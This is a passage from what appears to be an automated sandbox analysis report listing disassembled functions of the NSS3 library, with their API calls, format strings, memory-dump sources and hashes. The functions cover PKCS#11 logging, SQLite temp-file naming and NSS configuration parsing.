Part of subcall function 6C8309D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C830B48
Part of subcall function 6C8309D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C830C76
Part of subcall function 6C8309D0: PR_LogFlush.NSS3 ref: 6C830C7E

PR_LogPrint.NSS3( label = "%.32s",?), ref: 6C752963
PR_LogPrint.NSS3( manufacturerID = "%.32s",?), ref: 6C752983
PR_LogPrint.NSS3( model = "%.16s",?), ref: 6C7529A3
PR_LogPrint.NSS3( serial = "%.16s",?), ref: 6C7529C3
PR_LogPrint.NSS3( flags = %s %s %s %s,CKF_RNG,CKF_WRITE_PROTECTED,CKF_LOGIN_REQUIRED,?), ref: 6C752A26
PR_LogPrint.NSS3( maxSessions = %u, Sessions = %u,?,?), ref: 6C752A48
PR_LogPrint.NSS3( maxRwSessions = %u, RwSessions = %u,?,?), ref: 6C752A66
PR_LogPrint.NSS3( hardware version: %d.%d,?,?), ref: 6C752A8E
PR_LogPrint.NSS3( firmware version: %d.%d,?,?), ref: 6C752AB6

Strings

CKF_WRITE_PROTECTED, xrefs: 6C7529FE, 6C752A1F
maxRwSessions = %u, RwSessions = %u, xrefs: 6C752A61
flags = %s %s %s %s, xrefs: 6C752A21
pInfo = 0x%p, xrefs: 6C7528EA
C_GetTokenInfo, xrefs: 6C7528B8
hardware version: %d.%d, xrefs: 6C752A89
slotID = 0x%x, xrefs: 6C7528D1
maxSessions = %u, Sessions = %u, xrefs: 6C752A43
CKF_LOGIN_REQUIRED, xrefs: 6C7529F3, 6C752A1E
serial = "%.16s", xrefs: 6C7529BE
model = "%.16s", xrefs: 6C75299E
CKF_USER_PIN_INIT, xrefs: 6C7529E5
CKF_RNG, xrefs: 6C752A13, 6C752A20
manufacturerID = "%.32s", xrefs: 6C75297E
firmware version: %d.%d, xrefs: 6C752AB1
label = "%.32s", xrefs: 6C75295E

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Print$DebugOutputString$fflushfwrite$R_snprintf$CriticalCurrentEnterExplodeFlushModulePageR_vsmprintfR_vsnprintfSectionSizeThreadTimefputcfreememcpy
String ID: firmware version: %d.%d$ flags = %s %s %s %s$ hardware version: %d.%d$ label = "%.32s"$ manufacturerID = "%.32s"$ maxRwSessions = %u, RwSessions = %u$ maxSessions = %u, Sessions = %u$ model = "%.16s"$ pInfo = 0x%p$ serial = "%.16s"$ slotID = 0x%x$CKF_LOGIN_REQUIRED$CKF_RNG$CKF_USER_PIN_INIT$CKF_WRITE_PROTECTED$C_GetTokenInfo
API String ID: 2460313690-1106672779
Opcode ID: 1e1513f27dd12dd33399cbf3257c1051c1310f434d809521dfd935b671cc8292
Instruction ID: 109bd6f01126c4d4911a6836800b4f438ff34b2ed5f395cd889fa39de83129aa
Opcode Fuzzy Hash: 1e1513f27dd12dd33399cbf3257c1051c1310f434d809521dfd935b671cc8292
Instruction Fuzzy Hash: 7F51D8B5502154AFEB308B98CF8DA6537A5BB4220DF859475ED089BF13DB31EC14CBA1

Function 6C7F6E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6ACA30: EnterCriticalSection.KERNEL32(?,?,?,6C70F9C9,?,6C70F4DA,6C70F9C9,?,?,6C6D369A), ref: 6C6ACA7A
Part of subcall function 6C6ACA30: LeaveCriticalSection.KERNEL32(?), ref: 6C6ACB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C6BBE66), ref: 6C7F6E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C6BBE66), ref: 6C7F6E98
sqlite3_snprintf.NSS3(?,00000000,6C85AAF9,?,?,?,?,?,?,6C6BBE66), ref: 6C7F6EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C6BBE66), ref: 6C7F6ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C6BBE66), ref: 6C7F6EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C6BBE66), ref: 6C7F6F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C6BBE66), ref: 6C7F6F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C6BBE66), ref: 6C7F6F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C6BBE66), ref: 6C7F6FA6
sqlite3_snprintf.NSS3(?,00000000,6C85AAF9,00000000,?,?,?,?,?,?,?,6C6BBE66), ref: 6C7F6FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C6BBE66), ref: 6C7F6FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C6BBE66), ref: 6C7F6FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C6BBE66), ref: 6C7F7014
sqlite3_free.NSS3(00000000,?,?,?,?,6C6BBE66), ref: 6C7F701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C6BBE66), ref: 6C7F7030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C6BBE66), ref: 6C7F705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C6BBE66), ref: 6C7F7079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C6BBE66), ref: 6C7F7097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C6BBE66), ref: 6C7F70A0

Strings

mz_etilqs_, xrefs: 6C7F6F18
winGetTempname4, xrefs: 6C7F7046
winGetTempname2, xrefs: 6C7F70C4
winGetTempname5, xrefs: 6C7F7071
winGetTempname1, xrefs: 6C7F708F

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 813bc3913e8c408e6c5644a6f937d2ba2cd72c1afe5d3f6de565e118b9f71127
Instruction ID: ea26aeb45743de866cbb0091631f7bd733225b4c85f3ee986d8bc47c924d72f9
Opcode Fuzzy Hash: 813bc3913e8c408e6c5644a6f937d2ba2cd72c1afe5d3f6de565e118b9f71127
Instruction Fuzzy Hash: B0518B72A0411127E31096749D99FBB366AAF8331CF140938E92596BC2FB22991FC2D6

Function 6C784FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7375C2,00000000,00000000,00000001), ref: 6C785009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7375C2,00000000), ref: 6C785049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C78505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C785071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C785089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7850A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C7850B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7375C2), ref: 6C7850CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7850D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C7850F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C785103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C78511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C78512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C785145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C785153
free.MOZGLUE(?), ref: 6C78516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C78517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C785195

Strings

library=, xrefs: 6C785043
nss=, xrefs: 6C785083
config=, xrefs: 6C78509B
parameters=, xrefs: 6C78506B
name=, xrefs: 6C785057

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 8441c0a4e0d8f83b6b467b6de88471795ae88039edb111919ad60a972fc63998
Instruction ID: 489e5f2ed57579bcdbb7888560cbea3221f5f76021aa05f6721545695af1175f
Opcode Fuzzy Hash: 8441c0a4e0d8f83b6b467b6de88471795ae88039edb111919ad60a972fc63998
Instruction Fuzzy Hash: 4B51D5B1E022155BFB51CF24EE49AAE37A8AF15288F140030EE16E7B41F725E915C7F2

Function 6C758E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C758E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C758EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C758EB3

Part of subcall function 6C83D930: PL_strncpyz.NSS3(?,?,?), ref: 6C83D963

PR_LogPrint.NSS3(?,00000000), ref: 6C758EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C758EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C758F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C758F29
PR_LogPrint.NSS3(?,00000000), ref: 6C758F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C758F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C758F80
PR_LogPrint.NSS3(?,00000000), ref: 6C758F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C758FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C758FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C759047

Strings

*pulWrappedKeyLen = 0x%x, xrefs: 6C759042
pWrappedKey = 0x%p, xrefs: 6C758FAD
hWrappingKey = 0x%x, xrefs: 6C758F01, 6C758F11
(CK_INVALID_HANDLE), xrefs: 6C758EAC, 6C758F1F, 6C758F79
pMechanism = 0x%p, xrefs: 6C758EE0
pulWrappedKeyLen = 0x%p, xrefs: 6C758FC8
hKey = 0x%x, xrefs: 6C758F5B, 6C758F6B
C_WrapKey, xrefs: 6C758E71
hSession = 0x%x, xrefs: 6C758E8E, 6C758E9E

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: b0fdd9b0a12779c0a94fa299c20052ec8df636c7019f22521b94ddbed790ce92
Instruction ID: 5e2aa12964fcad9e55543eefd1bc6b907c47e2fbb75521458bb2c48682d72b87
Opcode Fuzzy Hash: b0fdd9b0a12779c0a94fa299c20052ec8df636c7019f22521b94ddbed790ce92
Instruction Fuzzy Hash: 5951F535652114ABCB208F48DF4CF9E3776AB4630CF448836F90867B12DB35A828CBD1

Function 6C784C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C774F51,00000000), ref: 6C784C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C774F51,00000000), ref: 6C784C5B
PR_smprintf.NSS3(6C85AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C774F51,00000000), ref: 6C784C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C774F51,00000000), ref: 6C784CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C784CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C784CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C784D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C774F51,00000000), ref: 6C784D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C774F51,00000000), ref: 6C784D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C784D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C784DA2
free.MOZGLUE(?), ref: 6C784DB9
free.MOZGLUE(00000000), ref: 6C784DCF

Strings

timeout, xrefs: 6C784C91
%s,%s, xrefs: 6C784C4B
every, xrefs: 6C784CA1
any, xrefs: 6C784C96
rust, xrefs: 6C784D22
ootT, xrefs: 6C784D1A
rootFlags, xrefs: 6C784D47
slotFlags, xrefs: 6C784D34
0x%08lx=[%s %s], xrefs: 6C784D80
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C784D9D

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 4c577ae9541ad0a303e24126d17ae76be5b49d76ec4464a977f5d6802e2dc8f5
Instruction ID: 263ff6f34811d1faad4220cd2ae4cedc5a3296f6e2f2479fc2a92c7ff5ef708a
Opcode Fuzzy Hash: 4c577ae9541ad0a303e24126d17ae76be5b49d76ec4464a977f5d6802e2dc8f5
Instruction Fuzzy Hash: D341ADF190114167DB225F189E496BE766DAF9230CF544134EA090B702E7B1D824D7F3

Function 6C766910 Relevance: 38.6, APIs: 15, Strings: 7, Instructions: 131COMMON

Download Yara Rule

APIs

NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C766943

Part of subcall function 6C784210: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,C3E59854,flags,?,00000000,?,6C765947,flags,printPolicyFeedback,?,?,?,?,?,?,00000000), ref: 6C784220
Part of subcall function 6C784210: NSSUTIL_ArgGetParamValue.NSS3(?,GYvl,?,?,?,?,?,?,00000000,?,00000000,?,6C767703,?,00000000,00000000), ref: 6C78422D
Part of subcall function 6C784210: PL_strncasecmp.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C767703), ref: 6C78424B
Part of subcall function 6C784210: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C767703,?,00000000), ref: 6C784272

NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C766957
NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C766972
NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C766983

Part of subcall function 6C783EA0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(8914C483,70E85609,6C75C79F,?,6C766247,70E85609,?,?,6C75C79F,6C76781D,?,6C75BD52,00000001,70E85609,D85D8B04,?), ref: 6C783EB8

PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C7669AA
PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C7669BE
PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C7669D2
NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C7669DF

Part of subcall function 6C784020: isspace.API-MS-WIN-CRT-STRING-L1-1-0(FFFFEF69,00000000,?,?,74F84C80,?,6C7850B7,?), ref: 6C784041

free.MOZGLUE(00000000), ref: 6C7669F6
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6C766A04
free.MOZGLUE(00000000), ref: 6C766A1B
NSSUTIL_ArgFetchValue.NSS3(-0000000B,?), ref: 6C766A29
free.MOZGLUE(00000000), ref: 6C766A3F
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6C766A4D
NSSUTIL_ArgStrip.NSS3(?), ref: 6C766A5B

Strings

keyPrefix=, xrefs: 6C7669CC
readOnly, xrefs: 6C76693D
nokeydb, xrefs: 6C766968
configdir=, xrefs: 6C7669A4
nocertdb, xrefs: 6C766951
flags, xrefs: 6C766937, 6C766942, 6C766956, 6C76696D
certPrefix=, xrefs: 6C7669B8

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: L_strncasecmpValuefree$FetchFlag$Stripisspace$ParamParameterSkipstrlen
String ID: certPrefix=$configdir=$flags$keyPrefix=$nocertdb$nokeydb$readOnly
API String ID: 2065226673-2785624044
Opcode ID: 7b4204231532971b596332d608d5c5e7c70e6526b2419095c18073e9133a15dd
Instruction ID: b0d79654f67c01c5c934e7a6511ec4ec4a1e5b27ebb79356e18422d49afc1a5f
Opcode Fuzzy Hash: 7b4204231532971b596332d608d5c5e7c70e6526b2419095c18073e9133a15dd
Instruction Fuzzy Hash: FC4184F1E402056BE710DB66AE89B5B77ACAF1534CF584830ED05E6B02F735DA18C7A1

Function 6C766CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C766910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C766943
Part of subcall function 6C766910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C766957
Part of subcall function 6C766910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C766972
Part of subcall function 6C766910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C766983
Part of subcall function 6C766910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C7669AA
Part of subcall function 6C766910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C7669BE
Part of subcall function 6C766910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C7669D2
Part of subcall function 6C766910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C7669DF
Part of subcall function 6C766910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C766A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C766D8C
free.MOZGLUE(00000000), ref: 6C766DC5
free.MOZGLUE(?), ref: 6C766DD6
free.MOZGLUE(?), ref: 6C766DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C766E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C766E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C766E72
free.MOZGLUE(?), ref: 6C766EA7
free.MOZGLUE(?), ref: 6C766EC4
free.MOZGLUE(?), ref: 6C766ED5
free.MOZGLUE(00000000), ref: 6C766EE3
free.MOZGLUE(?), ref: 6C766EF4
free.MOZGLUE(?), ref: 6C766F08
free.MOZGLUE(00000000), ref: 6C766F35
free.MOZGLUE(?), ref: 6C766F44
free.MOZGLUE(?), ref: 6C766F5B
free.MOZGLUE(00000000), ref: 6C766F65

Part of subcall function 6C766C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C76781D,00000000,6C75BE2C,?,6C766B1D,?,?,?,?,00000000,00000000,6C76781D), ref: 6C766C40
Part of subcall function 6C766C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C76781D,?,6C75BE2C,?), ref: 6C766C58
Part of subcall function 6C766C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C76781D), ref: 6C766C6F
Part of subcall function 6C766C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C766C84
Part of subcall function 6C766C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C766C96
Part of subcall function 6C766C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C766CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C766F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C766FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C766FF4

Strings

+`wl, xrefs: 6C766D0D

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642750569.000000006C87F000.00000008.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642792473.000000006C880000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642838348.000000006C885000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6a0000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`wl
API String ID: 1304971872-987430465
Opcode ID: ebd9b411163aa8c1fe0e6ba0b5166579aee8e60b0c34ce2ca5ba72c21e1d0ed9
Instruction ID: dc2b9d719a174224da81b7e74207f3c98595c367f3d9878eaa66911f0f34a908
Opcode Fuzzy Hash: ebd9b411163aa8c1fe0e6ba0b5166579aee8e60b0c34ce2ca5ba72c21e1d0ed9
Instruction Fuzzy Hash: 43B15CB0E012199BDF11CBA6DA49B9EBBB8BF05349F540135EC15E7E01E731EA14CBA1

Function 6C754950 Relevance: 36.9, APIs: 13, Strings: 8, Instructions: 170COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_CopyObject), ref: 6C754976
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7549A7
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7549B6

Part of subcall function 6C83D930: PL_strncpyz.NSS3(?,?,?), ref: 6C83D963

PR_LogPrint.NSS3(?,00000000), ref: 6C7549CC
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C7549FA
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C754A09
PR_LogPrint.NSS3(?,00000000), ref: 6C754A1F
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C754A40
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C754A5C
PR_LogPrint.NSS3( phNewObject = 0x%p,?), ref: 6C754A7C
PL_strncpyz.NSS3(?, *phNewObject = 0x%x,00000050), ref: 6C754B17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C754B26
PR_LogPrint.NSS3(?,00000000), ref: 6C754B3C

Strings

ulCount = %d, xrefs: 6C754A57
hObject = 0x%x, xrefs: 6C7549E4, 6C7549F4
phNewObject = 0x%p, xrefs: 6C754A77
pTemplate = 0x%p, xrefs: 6C754A39
(CK_INVALID_HANDLE), xrefs: 6C7549AF, 6C754A02, 6C754B1F
*phNewObject = 0x%x, xrefs: 6C754B01, 6C754B11
C_CopyObject, xrefs: 6C754971
hSession = 0x%x, xrefs: 6C754991, 6C7549A1

Memory Dump Source

Source File: 00000000.00000002.2642462620.000000006C6A1000.00000020.00000001.01000000.00000014.sdmp, Offset: 6C6A0000, based on PE: true

Associated: 00000000.00000002.2642419397.000000006C6A0000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642639724.000000006C83F000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000000.00000002.2642705733.000000006C87E000.00000004.00000001.01000000.00000014.sdmpDownload File
